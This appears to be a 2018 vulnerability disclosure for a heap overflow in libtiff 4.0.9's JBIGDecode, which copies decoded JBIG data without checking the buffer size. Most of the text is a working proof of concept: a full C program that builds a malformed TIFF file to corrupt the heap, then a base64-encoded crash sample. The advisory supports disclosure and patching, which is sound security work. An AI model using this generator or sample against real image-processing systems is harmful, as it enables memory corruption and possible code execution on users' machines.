libtiff 4.0.9 – Decodes Arbitrarily Sized JBIG into a Target Buffer
/* libtiff up to and including 4.0.9 decodes arbitrarily-sized JBIG into a buffer, ignoring the buffer size. The issue occurs because JBIGDecode entirely ignores the size of the buffer that is passed to it: static int JBIGDecode(TIFF* tif, uint8* buffer, tmsize_t size, uint16 s) { struct jbg_dec_state decoder; int decodeStatus = 0; unsigned char* pImage = NULL; (void) size, (void) s; if (isFillOrder(tif, tif->tif_dir.td_fillorder)) { TIFFReverseBits(tif->tif_rawdata, tif->tif_rawdatasize); } jbg_dec_init(&decoder); (...) decodeStatus = jbg_dec_in(&decoder, (unsigned char*)tif->tif_rawdata, (size_t)tif->tif_rawdatasize, NULL); if (JBG_EOK != decodeStatus) { (...) } pImage = jbg_dec_getimage(&decoder, 0); _TIFFmemcpy(buffer, pImage, jbg_dec_getsize(&decoder)); jbg_dec_free(&decoder); return 1; } The 4th line above is apparently to silence compiler warnings; the code proceeds to decode the JBIG contents, and then blindly copies as many bytes as decoded into the target buffer by means of _TIFFmemcpy. The attack primitive here ends up as follows: 1) The attacker gets to perform an allocation of a size of his choosing. 2) The attacker gets to write a pretty arbitrary amount of data of his choosing into this buffer. Reproducing testcases can be generated using the following C code: ============================================================================= */ #include <stdlib.h> #include <stdio.h> #include <sys/stat.h> #include <stdint.h> #include "jbig.h" void output_bie(unsigned char *start, size_t len, void *file) { fwrite(start, 1, len, (FILE *) file); return; } int main(int argc, char**argv) { FILE* inputfile = fopen(argv[1], "rb"); FILE* outputfile = fopen(argv[2], "wb"); // Write the hacky TIF header. unsigned char buf[] = { 0x49, 0x49, // Identifier. 0x2A, 0x00, // Version. 0xCA, 0x03, 0x00, 0x00, // First IFD offset. 0x32, 0x30, 0x30, 0x31, 0x3a, 0x31, 0x31, 0x3a, 0x32, 0x37, 0x20, 0x32, 0x31, 0x3a, 0x34, 0x30, 0x3a, 0x32, 0x38, 0x00, 0x38, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00 }; fwrite(&(buf[0]), sizeof(buf), 1, outputfile); // Read the inputfile. struct stat st; stat(argv[1], &st); size_t size = st.st_size; unsigned char* data = malloc(size); fread(data, size, 1, inputfile); // Calculate how many "pixels" we have in the input. unsigned char *bitmaps[1] = { data }; struct jbg_enc_state se; jbg_enc_init(&se, size * 8, 1, 1, bitmaps, output_bie, outputfile); jbg_enc_out(&se); jbg_enc_free(&se); // The raw JBIG data has been written, now write the IFDs for the TIF file. unsigned char ifds[] = { 0x0E, 0x00, // Number of entries. +0 0xFE, 0x00, // Subfile type. +2 0x04, 0x00, // Datatype: LONG. +6 0x01, 0x00, 0x00, 0x00, // 1 element. +10 0x00, 0x00, 0x00, 0x00, // 0 +14 0x00, 0x01, // IMAGE_WIDTH +16 0x03, 0x00, // Datatype: SHORT. +18 0x01, 0x00, 0x00, 0x00, // 1 element. +22 0x96, 0x00, 0x00, 0x00, // 96 hex width. +26 0x01, 0x01, // IMAGE_LENGTH +28 0x03, 0x00, // SHORT +30 0x01, 0x00, 0x00, 0x00, // 1 element +34 0x96, 0x00, 0x00, 0x00, // 96 hex length. +38 0x02, 0x01, // BITS_PER_SAMPLE +40 0x03, 0x00, // SHORT +42 0x01, 0x00, 0x00, 0x00, // 1 element +46 0x01, 0x00, 0x00, 0x00, // 1 +50 0x03, 0x01, // COMPRESSION +52 0x03, 0x00, // SHORT +54 0x01, 0x00, 0x00, 0x00, // 1 element +58 0x65, 0x87, 0x00, 0x00, // JBIG +62 0x06, 0x01, // PHOTOMETRIC +64 0x03, 0x00, // SHORT +66 0x01, 0x00, 0x00, 0x00, // 1 element +70 0x00, 0x00, 0x00, 0x00, // / +74 0x11, 0x01, // STRIP_OFFSETS +78 0x04, 0x00, // LONG +80 0x13, 0x00, 0x00, 0x00, // 0x13 elements +82 0x2C, 0x00, 0x00, 0x00, // Offset 2C in file +86 0x15, 0x01, // SAMPLES_PER_PIXEL +90 0x03, 0x00, // SHORT +92 0x01, 0x00, 0x00, 0x00, // 1 element +94 0x01, 0x00, 0x00, 0x00, // 1 +98 0x16, 0x01, // ROWS_PER_STRIP +102 0x04, 0x00, // LONG +104 0x01, 0x00, 0x00, 0x00, // 1 element +106 0xFF, 0xFF, 0xFF, 0xFF, // Invalid +110 0x17, 0x01, // STRIP_BYTE_COUNTS +114 0x04, 0x00, // LONG +116 0x13, 0x00, 0x00, 0x00, // 0x13 elements +118 0xC5, 0xC0, 0x00, 0x00, // Read 0xC0C5 bytes for the strip? +122 0x1A, 0x01, // X_RESOLUTION 0x05, 0x00, // RATIONAL 0x01, 0x00, 0x00, 0x00, // 1 element 0x1C, 0x00, 0x00, 0x00, 0x1B, 0x01, // Y_RESOLUTION 0x05, 0x00, // RATIONAL 0x01, 0x00, 0x00, 0x00, // 1 Element 0x24, 0x00, 0x00, 0x00, 0x28, 0x01, // RESOLUTION_UNIT 0x03, 0x00, // SHORT 0x01, 0x00, 0x00, 0x00, // 1 Element 0x02, 0x00, 0x00, 0x00, // 2 0x0A, 0x01, // FILL_ORDER 0x03, 0x00, // SHORT 0x01, 0x00, 0x00, 0x00, // 1 Element 0x02, 0x00, 0x00, 0x00, // Bit order inverted. 0x00, 0x00, 0x00, 0x00 }; // Adjust the offset for the IFDs. uint32_t ifd_offset = ftell(outputfile); fwrite(&(ifds[0]), sizeof(ifds), 1, outputfile); fseek(outputfile, 4, SEEK_SET); fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile); // Adjust the strip size properly. fseek(outputfile, ifd_offset + 118, SEEK_SET); fwrite(&ifd_offset, sizeof(ifd_offset), 1, outputfile); fclose(outputfile); fclose(inputfile); return 0; } /* =============================================================== Build & link with -ljbig. You can then create a new TIFF file that corrupts the heap by doing ./a.out file_with_data_to_clobber_the_heap_with.txt outputfile.tiff An example TIFF file that crashes various tiff readers is base64-encoded below: SUkqAEgYAAAyMDAxOjExOjI3IDIxOjQwOjI4ADgAAAABAAAAOAAAAAABAAAAAAEAAAC8uAAAAAEA AAACCAADHNKk0nHy6CbJhVojbsYUZY8vZ+LcRHKCtFjvAcJJY+JibZEZudFeppijmo6K5rQICnd4 Z1zp2bHgMe0JNyzpKY6w/wA4FRbBmV1c+nqZnTk5lH4pnM2x38kR5widHbZSZofrR/RrOxrBrEAR Ch8ElW2dRwbu3s84jVJkaHSGLNBrA2vtCCKGwuZhkCKq+Uy/Lwov48I7uQoXOsif0xAemOgQv47v wgwL0yKYY5e+Qp0mCG4kIMXh/Hl6WqiKVJ2vgds8WQuvGXWFLcRdDY7GQ3AIgcMm7s/YpHXeec/2 t3xPPnrYtI/NOMJU/pTZSY2oHKqDbjN5iTdjqEtkj5xKXL6jq1NSeFYIKaPn0LLJSXj+oagzRkia PmlovyFoddyMpEfBclvJvj7RQ2IN/wAnOptUPR8XJ90XVJvuhjIXEovbo3Aq2QIp5GXnmDUSFolu qIhWaE6adyhyYV0WUXurfIuez7denhEUhAAJXSvBWuM1M5+3fjbQPepOVvgvW56qMIMcbLa4hAWe jFABZ5x6PDHtbK5O3nCEwOUbIENNDoFEw7AyqfWQo1isx8/XSP3FU6ohtin8QLiM72QJfi6rrL+Y VsjYhewva2thqgNjQOpf9xroMyIYStnBzYKPPI3QkM0/bTs/n+4DwLruIy56PxKHOos+e4lfvNls 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Reported-2018-Oct-13 */ |